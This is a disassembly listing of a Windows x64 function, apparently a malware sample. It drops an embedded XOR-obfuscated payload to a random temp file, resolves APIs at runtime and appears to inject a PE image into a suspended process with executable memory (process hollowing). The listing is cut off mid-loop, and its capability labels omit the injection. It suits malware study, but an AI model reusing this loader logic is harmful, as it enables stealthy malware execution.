Function at 0x140001510
Capabilities:
Get common file path
Link many functions at runtime

Disassembly:
push rbp
mov eax, 0xabb0
call fcn.1400ea440
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xab28], 0xfffffffffffffffe
mov qword [rbp + 0xa718], rcx
mov rax, qword [rbp + 0xa718]
mov qword [rbp + 0xa710], rax
mov rax, qword [rbp + 0xa710]
mov rcx, qword [rbp + 0xa710]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rbp + 0xa708], rax
mov rax, qword [rbp + 0xa710]
mov rcx, qword [rbp + 0xa710]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
add rax, 0x108
mov qword [rbp + 0xa700], rax
cmp qword [rbp + 0xa710], 0
je 0x1400015ae
cmp qword [rbp + 0xa708], 0
je 0x1400015ae
cmp qword [rbp + 0xa700], 0
jne 0x1400015ba
mov byte [rbp + 0xa727], 0
jmp 0x140003765
lea rdx, [rbp + 0xa500]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor eax, eax
mov ecx, eax
call fcn.1400037b0
mov ecx, eax
call fcn.1400fb4b4
mov rax, qword [str.QWEDFG345678zxcvbn]
mov qword [rbp + 0xa4e0], rax
mov rax, qword [0x14015d0f8]
mov qword [rbp + 0xa4e8], rax
mov ax, word [0x14015d100]
mov word [rbp + 0xa4f0], ax
lea rcx, [rbp + 0xa3d0]
xor edx, edx
mov r8d, 0x104
call fcn.1400ebad0
call fcn.1400fb488
mov ecx, 0xa
cdq
idiv ecx
add edx, 0xa
mov dword [rbp + 0xa3cc], edx
mov dword [rbp + 0xa3c8], 0
mov eax, dword [rbp + 0xa3c8]
cmp eax, dword [rbp + 0xa3cc]
jge 0x1400016a7
call fcn.1400fb488
cdqe
mov ecx, 0x12
xor edx, edx
div rcx
mov eax, edx
mov dword [rbp + 0xa3c4], eax
movsxd rax, dword [rbp + 0xa3c4]
mov al, byte [rbp + rax + 0xa4e0]
mov byte [rbp + 0xa3c2], al
mov byte [rbp + 0xa3c3], 0
lea rdx, [rbp + 0xa3c2]
lea rcx, [rbp + 0xa3d0]
call fcn.1400fb4e0
mov eax, dword [rbp + 0xa3c8]
add eax, 1
mov dword [rbp + 0xa3c8], eax
jmp 0x14000163a
lea rdx, [rbp + 0xa500]
lea rcx, [rbp + 0xa1b0]
call fcn.1400fb638
lea rdx, [rbp + 0xa3d0]
lea rcx, [rbp + 0xa1b0]
call fcn.1400fb654
mov word [rbp + 0xa3b6], 0
mov qword [rbp + 0xa1a8], 0
lea rdx, [rbp + 0xa1b0]
lea rcx, [rbp + 0xa1a8]
lea r8, [0x140166c6c]
call fcn.1400fb900
mov dword [rbp + 0xa1a4], eax
cmp dword [rbp + 0xa1a4], 0
jne 0x14000171c
cmp qword [rbp + 0xa1a8], 0
jne 0x140001728
mov byte [rbp + 0xa727], 0
jmp 0x140003765
mov byte [rbp + 0xa172], 0xfc
mov byte [rbp + 0xa173], CreateErrorInfo
mov byte [rbp + 0xa174], 0x5a
mov byte [rbp + 0xa175], 0x2c
mov byte [rbp + 0xa176], 0x75
mov byte [rbp + 0xa177], 0xaa
lea rax, [rbp + 0xa172]
mov qword [rbp + 0xa178], rax
lea rax, [rbp + 0xa178]
mov qword [rbp + 0xa180], rax
lea rcx, [rbp + 0xa171]
mov qword [rbp + 0x238], rcx
call fcn.140001400
mov r8, qword [rbp + 0x238]
lea rcx, [rbp + 0xa188]
mov qword [rbp + 0x240], rcx
lea rdx, [rbp + 0xa178]
call fcn.1400037d0
lea rdx, [0x14015d110]
lea rcx, [rbp + 0x810]
mov qword [rbp + 0x248], rcx
mov r8d, 0x9960
mov qword [rbp + 0x250], r8
call fcn.1400ebe90
mov rcx, qword [rbp + 0x240]
mov rdx, qword [rbp + 0x248]
mov r8, qword [rbp + 0x250]
call fcn.140001130
jmp 0x1400017e8
mov r9, qword [rbp + 0xa1a8]
lea rcx, [rbp + 0x810]
mov edx, 1
mov r8d, 0x9960
call fcn.1400fc138
mov rcx, qword [rbp + 0xa1a8]
call fcn.1400fc3b8
mov rdx, qword [rbp + 0xa700]
mov rcx, qword [rbp + 0xa708]
call section..text
and al, 1
mov byte [rbp + 0x80f], al
mov rax, qword [rbp + 0xa718]
mov qword [rbp + 0x800], rax
lea rcx, [rbp + 0x798]
xor edx, edx
mov r8d, 0x68
call fcn.1400ebad0
mov dword [rbp + 0x798], 0x68
lea rcx, [rbp + 0x780]
xor edx, edx
mov r8d, 0x18
call fcn.1400ebad0
lea rcx, [rbp + 0x765]
lea rdx, [rbp + 0x766]
call fcn.140003860
lea rax, [rbp + 0x766]
mov qword [rbp + 0xa728], rax
mov rax, qword [rbp + 0xa728]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0xa898], rax
mov rax, qword [rbp + 0xa898]
movzx eax, word [rax + 0x18]
cmp eax, 0
je 0x140001946
mov rax, qword [rbp + 0x230]
mov qword [rbp + 0xa8f8], rax
mov qword [rbp + 0xa8f0], rax
mov rax, qword [rbp + 0xa8f0]
mov qword [rbp + 0x228], rax
mov dword [rbp + 0xa8ec], 0
cmp dword [rbp + 0xa8ec], 0xd
jge 0x140001941
mov rax, qword [rbp + 0xa8f8]
movsxd rcx, dword [rbp + 0xa8ec]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rbp + 0xa8ec]
mov r8d, 0x37
cdq
idiv r8d
mov rax, qword [rbp + 0x228]
add edx, 0x37
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rbp + 0xa8ec]
mov word [rax + rcx*2], dx
mov eax, dword [rbp + 0xa8ec]
add eax, 1
mov dword [rbp + 0xa8ec], eax
jmp 0x1400018e4
jmp 0x140001946
mov rcx, qword [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 0x758], rax
cmp qword [rbp + 0x758], 0
jne 0x14000197e
mov byte [rbp + 0xa727], 0
mov dword [rbp + 0x754], 1
jmp 0x140003754
lea rax, [rbp + 0x766]
mov qword [rbp + 0xa738], rax
mov rax, qword [rbp + 0xa738]
mov qword [rbp + 0x220], rax
mov qword [rbp + 0xa888], rax
mov rax, qword [rbp + 0xa888]
movzx eax, word [rax + 0x18]
cmp eax, 0
jne 0x140001a44
mov rax, qword [rbp + 0x220]
mov qword [rbp + 0xa8c8], rax
mov qword [rbp + 0xa8c0], rax
mov rax, qword [rbp + 0xa8c0]
mov qword [rbp + 0x218], rax
mov dword [rbp + 0xa8bc], 0
cmp dword [rbp + 0xa8bc], 0xd
jge 0x140001a3f
mov rax, qword [rbp + 0xa8c8]
movsxd rcx, dword [rbp + 0xa8bc]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rbp + 0xa8bc]
mov r8d, 0x37
cdq
idiv r8d
mov rax, qword [rbp + 0x218]
add edx, 0x37
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rbp + 0xa8bc]
mov word [rax + rcx*2], dx
mov eax, dword [rbp + 0xa8bc]
add eax, 1
mov dword [rbp + 0xa8bc], eax
jmp 0x1400019e2
jmp 0x140001a44
lea rax, [rbp + 0x766]
mov qword [rbp + 0xa758], rax
mov rax, qword [rbp + 0xa758]
mov qword [rbp + 0x210], rax
mov dword [rbp + 0xa754], 0
cmp dword [rbp + 0xa754], 0xd
jge 0x140001a9f
mov rax, qword [rbp + 0x210]
movsxd rcx, dword [rbp + 0xa754]
mov word [rax + rcx*2], 0
mov eax, dword [rbp + 0xa754]
add eax, 1
mov dword [rbp + 0xa754], eax
jmp 0x140001a6a
lea rcx, [rbp + 0x735]
lea rdx, [rbp + 0x736]
call fcn.1400038a0
lea rax, [rbp + 0x736]
mov qword [rbp + 0xa760], rax
mov rax, qword [rbp + 0xa760]
mov qword [rbp + 0x208], rax
mov qword [rbp + 0xa928], rax
mov rax, qword [rbp + 0xa928]
movzx eax, word [rax + 0x1c]
cmp eax, 0
je 0x140001b78
mov rax, qword [rbp + 0x208]
mov qword [rbp + 0xa9b8], rax
mov qword [rbp + 0xa9b0], rax
mov rax, qword [rbp + 0xa9b0]
mov qword [rbp + 0x200], rax
mov dword [rbp + 0xa9ac], 0
cmp dword [rbp + 0xa9ac], 0xf
jge 0x140001b73
mov rax, qword [rbp + 0xa9b8]
movsxd rcx, dword [rbp + 0xa9ac]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rbp + 0xa9ac]
mov r8d, 0x37
cdq
idiv r8d
mov rax, qword [rbp + 0x200]
add edx, 0x37
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rbp + 0xa9ac]
mov word [rax + rcx*2], dx
mov eax, dword [rbp + 0xa9ac]
add eax, 1
mov dword [rbp + 0xa9ac], eax
jmp 0x140001b16
jmp 0x140001b78
mov rcx, qword [rbp + 0x208]
call fcn.140001090
mov qword [rbp + 0x1f8], rax
jmp 0x140001b90
mov rdx, qword [rbp + 0x1f8]
mov rcx, qword [rbp + 0x758]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x728], rax
cmp qword [rbp + 0x728], 0
jne 0x140001bcf
mov byte [rbp + 0xa727], 0
mov dword [rbp + 0x754], 1
jmp 0x140003754
mov rax, qword [rbp + 0x728]
mov rcx, rsp
lea rdx, [rbp + 0x780]
mov qword [rcx + 0x48], rdx
lea rdx, [rbp + 0x798]
mov qword [rcx + 0x40], rdx
mov qword [rcx + 0x38], 0
mov qword [rcx + 0x30], 0
mov dword [rcx + 0x28], 4
mov dword [rcx + 0x20], 1
xor ecx, ecx
mov r9d, ecx
lea rcx, [rbp + 0xa1b0]
mov rdx, r9
mov r8, r9
call rax
mov qword [rbp + 0x1f0], rax
jmp 0x140001c2d
mov rax, qword [rbp + 0x1f0]
cmp rax, 0
setne al
and al, 1
mov byte [rbp + 0x727], al
mov al, byte [rbp + 0x727]
and al, 1
movzx eax, al
cmp eax, 0
jne 0x140001c6d
mov byte [rbp + 0xa727], 0
mov dword [rbp + 0x754], 1
jmp 0x140003754
lea rax, [rbp + 0x736]
mov qword [rbp + 0xa778], rax
mov rax, qword [rbp + 0xa778]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0xa910], rax
mov rax, qword [rbp + 0xa910]
movzx eax, word [rax + 0x1c]
cmp eax, 0
jne 0x140001d33
mov rax, qword [rbp + 0x1e8]
mov qword [rbp + 0xa970], rax
mov qword [rbp + 0xa968], rax
mov rax, qword [rbp + 0xa968]
mov qword [rbp + 0x1e0], rax
mov dword [rbp + 0xa964], 0
cmp dword [rbp + 0xa964], 0xf
jge 0x140001d2e
mov rax, qword [rbp + 0xa970]
movsxd rcx, dword [rbp + 0xa964]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rbp + 0xa964]
mov r8d, 0x37
cdq
idiv r8d
mov rax, qword [rbp + 0x1e0]
add edx, 0x37
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rbp + 0xa964]
mov word [rax + rcx*2], dx
mov eax, dword [rbp + 0xa964]
add eax, 1
mov dword [rbp + 0xa964], eax
jmp 0x140001cd1
jmp 0x140001d33
lea rax, [rbp + 0x736]
mov qword [rbp + 0xa7a8], rax
mov rax, qword [rbp + 0xa7a8]
mov qword [rbp + 0x1d8], rax
mov dword [rbp + 0xa7a4], 0
cmp dword [rbp + 0xa7a4], 0xf
jge 0x140001d8e
mov rax, qword [rbp + 0x1d8]
movsxd rcx, dword [rbp + 0xa7a4]
mov word [rax + rcx*2], 0
mov eax, dword [rbp + 0xa7a4]
add eax, 1
mov dword [rbp + 0xa7a4], eax
jmp 0x140001d59
test byte [rbp + 0x80f], 1
je 0x140002022
lea rcx, [rbp + 0x701]
lea rdx, [rbp + 0x702]
call fcn.1400038f0
lea rax, [rbp + 0x702]
mov qword [rbp + 0xa7c0], rax
mov rax, qword [rbp + 0xa7c0]
mov qword [rbp + 0x1c8], rax
mov qword [rbp + 0xa7c8], rax
mov rax, qword [rbp + 0xa7c8]
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0xa900], rax
mov rax, qword [rbp + 0xa900]
movzx eax, word [rax + 0x1c]
cmp eax, 0
je 0x140001e89
mov rax, qword [rbp + 0x1d0]
mov qword [rbp + 0xa940], rax
mov qword [rbp + 0xa938], rax
mov rax, qword [rbp + 0xa938]
mov qword [rbp + 0x1c0], rax
mov dword [rbp + 0xa934], 0
cmp dword [rbp + 0xa934], 0xf
jge 0x140001e84
mov rax, qword [rbp + 0xa940]
movsxd rcx, dword [rbp + 0xa934]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rbp + 0xa934]
mov r8d, 0x37
cdq
idiv r8d
mov rax, qword [rbp + 0x1c0]
add edx, 0x37
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rbp + 0xa934]
mov word [rax + rcx*2], dx
mov eax, dword [rbp + 0xa934]
add eax, 1
mov dword [rbp + 0xa934], eax
jmp 0x140001e27
jmp 0x140001e89
mov rcx, qword [rbp + 0x1c8]
call fcn.140001090
mov qword [rbp + 0x1b8], rax
jmp 0x140001ea1
mov rdx, qword [rbp + 0x1b8]
mov rcx, qword [rbp + 0x758]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x6f8], rax
cmp qword [rbp + 0x6f8], 0
jne 0x140001ee0
mov byte [rbp + 0xa727], 0
mov dword [rbp + 0x754], 1
jmp 0x140003754
mov rax, qword [rbp + 0x6f8]
mov rcx, qword [rbp + 0x780]
lea rdx, [rbp + 0x720]
call rax
jmp 0x140001efc
lea rax, [rbp + 0x702]
mov qword [rbp + 0xa770], rax
mov rax, qword [rbp + 0xa770]
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0xa918], rax
mov rax, qword [rbp + 0xa918]
movzx eax, word [rax + 0x1c]
cmp eax, 0
jne 0x140001fc2
mov rax, qword [rbp + 0x1b0]
mov qword [rbp + 0xa988], rax
mov qword [rbp + 0xa980], rax
mov rax, qword [rbp + 0xa980]
mov qword [rbp + 0x1a8], rax
mov dword [rbp + 0xa97c], 0
cmp dword [rbp + 0xa97c], 0xf
jge 0x140001fbd
mov rax, qword [rbp + 0xa988]
movsxd rcx, dword [rbp + 0xa97c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rbp + 0xa97c]
mov r8d, 0x37
cdq
idiv r8d
mov rax, qword [rbp + 0x1a8]
add edx, 0x37
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rbp + 0xa97c]
mov word [rax + rcx*2], dx
mov eax, dword [rbp + 0xa97c]
add eax, 1
mov dword [rbp + 0xa97c], eax
jmp 0x140001f60
jmp 0x140001fc2
lea rax, [rbp + 0x702]
mov qword [rbp + 0xa798], rax
mov rax, qword [rbp + 0xa798]
mov qword [rbp + 0x1a0], rax
mov dword [rbp + 0xa794], 0
cmp dword [rbp + 0xa794], 0xf
jge 0x14000201d
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rbp + 0xa794]
mov word [rax + rcx*2], 0
mov eax, dword [rbp + 0xa794]
add eax, 1
mov dword [rbp + 0xa794], eax
jmp 0x140001fe8
jmp 0x140002022
lea rcx, [rbp + 0x6d9]
lea rdx, [rbp + 0x6da]
call fcn.140003940
lea rax, [rbp + 0x6da]
mov qword [rbp + 0xa7b0], rax
mov rax, qword [rbp + 0xa7b0]
mov qword [rbp + 0x190], rax
mov qword [rbp + 0xa7b8], rax
mov rax, qword [rbp + 0xa7b8]
mov qword [rbp + 0x198], rax
mov qword [rbp + 0xa908], rax
mov rax, qword [rbp + 0xa908]
movzx eax, word [rax + 0x1c]
cmp eax, 0
je 0x140002110
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0xa958], rax
mov qword [rbp + 0xa950], rax
mov rax, qword [rbp + 0xa950]
mov qword [rbp + 0x188], rax
mov dword [rbp + 0xa94c], 0
cmp dword [rbp + 0xa94c], 0xf
jge 0x14000210b
mov rax, qword [rbp + 0xa958]
movsxd rcx, dword [rbp + 0xa94c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rbp + 0xa94c]
mov r8d, 0x37
cdq
idiv r8d
mov rax, qword [rbp + 0x188]
add edx, 0x37
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rbp + 0xa94c]
mov word [rax + rcx*2], dx
mov eax, dword [rbp + 0xa94c]
add eax, 1
mov dword [rbp + 0xa94c], eax
jmp 0x1400020ae
jmp 0x140002110
mov rcx, qword [rbp + 0x190]
call fcn.140001090
mov qword [rbp + 0x180], rax
jmp 0x140002128
mov rdx, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x758]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x6d0], rax
cmp qword [rbp + 0x6d0], 0
jne 0x140002167
mov byte [rbp + 0xa727], 0
mov dword [rbp + 0x754], 1
jmp 0x140003754
lea rax, [rbp + 0x6da]
mov qword [rbp + 0xa768], rax
mov rax, qword [rbp + 0xa768]
mov qword [rbp + 0x178], rax
mov qword [rbp + 0xa920], rax
mov rax, qword [rbp + 0xa920]
movzx eax, word [rax + 0x1c]
cmp eax, 0
jne 0x14000222d
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0xa9a0], rax
mov qword [rbp + 0xa998], rax
mov rax, qword [rbp + 0xa998]
mov qword [rbp + 0x170], rax
mov dword [rbp + 0xa994], 0
cmp dword [rbp + 0xa994], 0xf
jge 0x140002228
mov rax, qword [rbp + 0xa9a0]
movsxd rcx, dword [rbp + 0xa994]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rbp + 0xa994]
mov r8d, 0x37
cdq
idiv r8d
mov rax, qword [rbp + 0x170]
add edx, 0x37
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rbp + 0xa994]
mov word [rax + rcx*2], dx
mov eax, dword [rbp + 0xa994]
add eax, 1
mov dword [rbp + 0xa994], eax
jmp 0x1400021cb
jmp 0x14000222d
lea rax, [rbp + 0x6da]
mov qword [rbp + 0xa788], rax
mov rax, qword [rbp + 0xa788]
mov qword [rbp + 0x168], rax
mov dword [rbp + 0xa784], 0
cmp dword [rbp + 0xa784], 0xf
jge 0x140002288
mov rax, qword [rbp + 0x168]
movsxd rcx, dword [rbp + 0xa784]
mov word [rax + rcx*2], 0
mov eax, dword [rbp + 0xa784]
add eax, 1
mov dword [rbp + 0xa784], eax
jmp 0x140002253
mov rax, qword [rbp + 0x6d0]
mov rdx, qword [rbp + 0xa708]
mov ecx, dword [rdx + 0x34]
mov edx, dword [rdx + 0x50]
mov r8d, edx
mov edx, ecx
mov rcx, qword [rbp + 0x780]
mov r9, rsp
mov dword [r9 + 0x20], 0x40
mov r9d, 0x3000
call rax
mov qword [rbp + 0x160], rax
jmp 0x1400022c7
mov rax, qword [rbp + 0x160]
mov qword [rbp + 0x6c8], rax
cmp qword [rbp + 0x6c8], 0
jne 0x140002583
lea rcx, [rbp + 0x6a5]
lea rdx, [rbp + 0x6a6]
call fcn.140003990
lea rax, [rbp + 0x6a6]
mov qword [rbp + 0xa7d0], rax
mov rax, qword [rbp + 0xa7d0]
mov qword [rbp + 0x150], rax
mov qword [rbp + 0xa9c0], rax
mov rax, qword [rbp + 0xa9c0]
mov qword [rbp + 0x158], rax
mov qword [rbp + 0xa9c8], rax
mov rax, qword [rbp + 0xa9c8]
movzx eax, word [rax + 0x20]
cmp eax, 0
je 0x1400023d1
mov rax, qword [rbp + 0x158]
mov qword [rbp + 0xa9e8], rax
mov qword [rbp + 0xa9e0], rax
mov rax, qword [rbp + 0xa9e0]
mov qword [rbp + 0x148], rax
mov dword [rbp + 0xa9dc], 0
cmp dword [rbp + 0xa9dc], 0x11
jge 0x1400023cc
mov rax, qword [rbp + 0xa9e8]
movsxd rcx, dword [rbp + 0xa9dc]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rbp + 0xa9dc]
mov r8d, 0x37
cdq
idiv r8d
mov rax, qword [rbp + 0x148]
add edx, 0x37
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rbp + 0xa9dc]
mov word [rax + rcx*2], dx
mov eax, dword [rbp + 0xa9dc]
add eax, 1
mov dword [rbp + 0xa9dc], eax
jmp 0x14000236f
jmp 0x1400023d1
mov rcx, qword [rbp + 0x150]
call fcn.140001090
mov qword [rbp + 0x140], rax
jmp 0x1400023e9
mov rdx, qword [rbp + 0x140]
mov rcx, qword [rbp + 0x758]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x698], rax
cmp qword [rbp + 0x698], 0
jne 0x140002428
mov byte [rbp + 0xa727], 0
mov dword [rbp + 0x754], 1
jmp 0x140003754
mov rax, qword [rbp + 0x698]
mov rcx, qword [rbp + 0x780]
xor edx, edx
call rax
jmp 0x14000243f
mov rcx, qword [rbp + 0x758]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rax, [rbp + 0x6a6]
mov qword [rbp + 0xa7d8], rax
mov rax, qword [rbp + 0xa7d8]
mov qword [rbp + 0x138], rax
mov qword [rbp + 0xa9d0], rax
mov rax, qword [rbp + 0xa9d0]
movzx eax, word [rax + 0x20]
cmp eax, 0
jne 0x140002512
mov rax, qword [rbp + 0x138]
mov qword [rbp + 0xaa00], rax
mov qword [rbp + 0xa9f8], rax
mov rax, qword [rbp + 0xa9f8]
mov qword [rbp + 0x130], rax
mov dword [rbp + 0xa9f4], 0
cmp dword [rbp + 0xa9f4], 0x11
jge 0x14000250d
mov rax, qword [rbp + 0xaa00]
movsxd rcx, dword [rbp + 0xa9f4]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rbp + 0xa9f4]
mov r8d, 0x37
cdq
idiv r8d
mov rax, qword [rbp + 0x130]
add edx, 0x37
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rbp + 0xa9f4]
mov word [rax + rcx*2], dx
mov eax, dword [rbp + 0xa9f4]
add eax, 1
mov dword [rbp + 0xa9f4], eax
jmp 0x1400024b0
jmp 0x140002512
lea rax, [rbp + 0x6a6]
mov qword [rbp + 0xa7e8], rax
mov rax, qword [rbp + 0xa7e8]
mov qword [rbp + 0x128], rax
mov dword [rbp + 0xa7e4], 0
cmp dword [rbp + 0xa7e4], 0x11
jge 0x14000256d
mov rax, qword [rbp + 0x128]
movsxd rcx, dword [rbp + 0xa7e4]
mov word [rax + rcx*2], 0
mov eax, dword [rbp + 0xa7e4]
add eax, 1
mov dword [rbp + 0xa7e4], eax
jmp 0x140002538
mov rcx, qword [rbp + 0xa718]
call fcn.140001510
jmp 0x14000257e
jmp 0x140002583
mov rax, qword [rbp + 0x6c8]
mov rcx, qword [rbp + 0xa708]
mov ecx, dword [rcx + 0x34]
sub rax, rcx
mov dword [rbp + 0x694], eax
lea rcx, [rbp + 0x66d]
lea rdx, [rbp + 0x66e]
call fcn.1400039d0
lea rax, [rbp + 0x66e]
mov qword [rbp + 0xa7f0], rax
mov rax, qword [rbp + 0xa7f0]
mov qword [rbp + 0x118], rax
mov qword [rbp + 0xaa08], rax
mov rax, qword [rbp + 0xaa08]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0xaa10], rax
mov rax, qword [rbp + 0xaa10]
movzx eax, word [rax + 0x24]
cmp eax, 0
je 0x14000268b
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xaa30], rax
mov qword [rbp + 0xaa28], rax
mov rax, qword [rbp + 0xaa28]
mov qword [rbp + 0x110], rax
mov dword [rbp + 0xaa24], 0
cmp dword [rbp + 0xaa24], 0x13
jge 0x140002686
mov rax, qword [rbp + 0xaa30]
movsxd rcx, dword [rbp + 0xaa24]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rbp + 0xaa24]
mov r8d, 0x37
cdq
idiv r8d
mov rax, qword [rbp + 0x110]
add edx, 0x37
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rbp + 0xaa24]
mov word [rax + rcx*2], dx
mov eax, dword [rbp + 0xaa24]
add eax, 1
mov dword [rbp + 0xaa24], eax
jmp 0x140002629
jmp 0x14000268b
mov rcx, qword [rbp + 0x118]
call fcn.140001090
mov qword [rbp + 0x108], rax
jmp 0x1400026a3
mov rdx, qword [rbp + 0x108]
mov rcx, qword [rbp + 0x758]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x660], rax
lea rax, [rbp + 0x66e]
mov qword [rbp + 0xa7f8], rax
mov rax, qword [rbp + 0xa7f8]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0xaa18], rax
mov rax, qword [rbp + 0xaa18]
movzx eax, word [rax + 0x24]
cmp eax, 0
jne 0x140002784
mov rax, qword [rbp + 0x100]
mov qword [rbp + 0xaa48], rax
mov qword [rbp + 0xaa40], rax
mov rax, qword [rbp + 0xaa40]
mov qword [rbp + 0xf8], rax
mov dword [rbp + 0xaa3c], 0
cmp dword [rbp + 0xaa3c], 0x13
jge 0x14000277f
mov rax, qword [rbp + 0xaa48]
movsxd rcx, dword [rbp + 0xaa3c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rbp + 0xaa3c]
mov r8d, 0x37
cdq
idiv r8d
mov rax, qword [rbp + 0xf8]
add edx, 0x37
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rbp + 0xaa3c]
mov word [rax + rcx*2], dx
mov eax, dword [rbp + 0xaa3c]
add eax, 1
mov dword [rbp + 0xaa3c], eax
jmp 0x140002722
jmp 0x140002784
lea rax, [rbp + 0x66e]
mov qword [rbp + 0xa808], rax
mov rax, qword [rbp + 0xa808]
mov qword [rbp + 0xf0], rax
mov dword [rbp + 0xa804], 0
cmp dword [rbp + 0xa804], 0x13
jge 0x1400027df
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rbp + 0xa804]
mov word [rax + rcx*2], 0
mov eax, dword [rbp + 0xa804]
add eax, 1
mov dword [rbp + 0xa804], eax
jmp 0x1400027aa
mov byte [rbp + 0x65f], 0
test byte [rbp + 0x80f], 1
je 0x140002860
mov ecx, dword [rbp + 0x6c8]
mov rax, qword [rbp + 0xa708]
mov dword [rax + 0x34], ecx
mov rax, qword [rbp + 0x660]
mov rcx, qword [rbp + 0xa708]
mov ecx, dword [rcx + 0x54]
mov r9d, ecx
mov r8, qword [rbp + 0x800]
mov rdx, qword [rbp + 0x6c8]
mov rcx, qword [rbp + 0x780]
mov r10, rsp
mov qword [r10 + 0x20], 0
call rax
mov qword [rbp + 0xe8], rax
jmp 0x140002845
mov rax, qword [rbp + 0xe8]
cmp rax, 0
setne al
and al, 1
mov byte [rbp + 0x65f], al
jmp 0x1400028b8
mov rax, qword [rbp + 0x660]
mov rcx, qword [rbp + 0xa708]
mov ecx, dword [rcx + 0x54]
mov r9d, ecx
mov r8, qword [rbp + 0x800]
mov rdx, qword [rbp + 0x6c8]
mov rcx, qword [rbp + 0x780]
mov r10, rsp
mov qword [r10 + 0x20], 0
call rax
mov qword [rbp + 0xe0], rax
jmp 0x1400028a2
mov rax, qword [rbp + 0xe0]
cmp rax, 0
setne al
and al, 1
mov byte [rbp + 0x65f], al
mov al, byte [rbp + 0x65f]
and al, 1
movzx eax, al
cmp eax, 0
jne 0x1400028e2
mov byte [rbp + 0xa727], 0
mov dword [rbp + 0x754], 1
jmp 0x140003754
mov qword [rbp + 0x648], 0
mov rax, qword [rbp + 0xa708]
cmp dword [rax + 0xa0], 0
je 0x14000291b
mov rax, qword [rbp + 0xa708]
mov rax, qword [rax + 0xa0]
mov qword [rbp + 0x654], rax
jmp 0x14000293d
mov dword [rbp + 0x640], 0
mov dword [rbp + 0x644], 0
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x654], rax
mov qword [rbp + 0x638], 0
mov byte [rbp + 0x637], 0
test byte [rbp + 0x80f], 1
je 0x140002ac3
mov dword [rbp + 0x630], 0
mov eax, dword [rbp + 0x630]
mov rcx, qword [rbp + 0xa708]
movzx ecx, word [rcx + 6]
cmp eax, ecx
jge 0x140002a9a
mov rax, qword [rbp + 0xa708]
add rax, 4
add rax, 0x14
mov rcx, qword [rbp + 0xa708]
movzx ecx, word [rcx + 0x14]
add rax, rcx
movsxd rcx, dword [rbp + 0x630]
imul rcx, rcx, 0x28
add rax, rcx
mov qword [rbp + 0x628], rax
mov eax, dword [rbp + 0x654]
mov rcx, qword [rbp + 0x628]
cmp eax, dword [rcx + 0xc]
jb 0x1400029f7
mov eax, dword [rbp + 0x654]
mov rcx, qword [rbp + 0x628]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rbp + 0x628]
add ecx, dword [rdx + 8]
cmp eax, ecx
jae 0x1400029f7
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x660]
mov rdx, qword [rbp + 0x628]
mov ecx, dword [rdx + 0xc]
mov r8d, dword [rdx + 0x10]
mov r9d, r8d
mov r8, qword [rbp + 0x800]
mov edx, dword [rdx + 0x14]
add r8, rdx
mov rdx, qword [rbp + 0x6c8]
add rdx, rcx
mov rcx, qword [rbp + 0x780]
mov r10, rsp
mov qword [r10 + 0x20], 0
call rax
mov qword [rbp + 0xd8], rax
jmp 0x140002a46
mov rax, qword [rbp + 0xd8]
cmp rax, 0
setne al
and al, 1
mov byte [rbp + 0x627], al
mov al, byte [rbp + 0x627]
and al, 1
movzx eax, al
cmp eax, 0
jne 0x140002a86
mov byte [rbp + 0xa727], 0
mov dword [rbp + 0x754], 1
jmp 0x140003754
mov eax, dword [rbp + 0x630]
add eax, 1
mov dword [rbp + 0x630], eax
jmp 0x140002966
cmp qword [rbp + 0x648], 0
jne 0x140002abe
mov byte [rbp + 0xa727], 0
mov dword [rbp + 0x754], 1
jmp 0x140003754
jmp 0x140002bb3
mov dword [rbp + 0x620], 0
mov eax, dword [rbp + 0x620]
mov rcx, qword [rbp + 0xa708]
movzx ecx, word [rcx + 6]
cmp eax, ecx
jge 0x140002bae
